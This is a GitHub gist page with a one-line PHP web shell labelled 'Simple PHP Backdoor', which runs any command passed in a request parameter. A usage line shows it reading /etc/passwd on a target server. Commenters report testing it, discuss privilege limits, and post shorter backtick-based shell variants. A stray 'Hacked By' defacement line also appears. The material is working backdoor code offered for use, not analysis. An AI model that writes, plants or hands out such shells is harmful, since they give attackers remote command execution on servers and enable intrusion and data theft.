Last active
September 26, 2024 20:28
-
-
Save sente/4dbb2b7bdda2647ba80b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- Simple PHP Backdoor By DK (One-Liner Version) --> | |
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd --> | |
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> |
@sente Good Work! Dude
I had tried this shell with my localhost its pretty working but
I can't create directory anywhere using that url
index.php?cmd=mkdir+/root/Desktop/salman
while i can list my directory using :
index.php?cmd=ls+/root/Desktop
Why is it happening?
I m using linux + Mozilla firefox
@NaheelSalman
Seems like you are low privellaged user, so your are not able to make directory on /root
you can try making one on /tmp
@NaheelSalman Seems like you are low privellaged user, so your are not able to make directory on /root you can try making one on /tmp
got it
A smaller one!
<?=`$_GET[_]`?>
Alternative
<?=`$_GET[0]`?>
localhost/shell.php?0=ls
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Bilgi Mesajı
Hacked By x // Koswog.com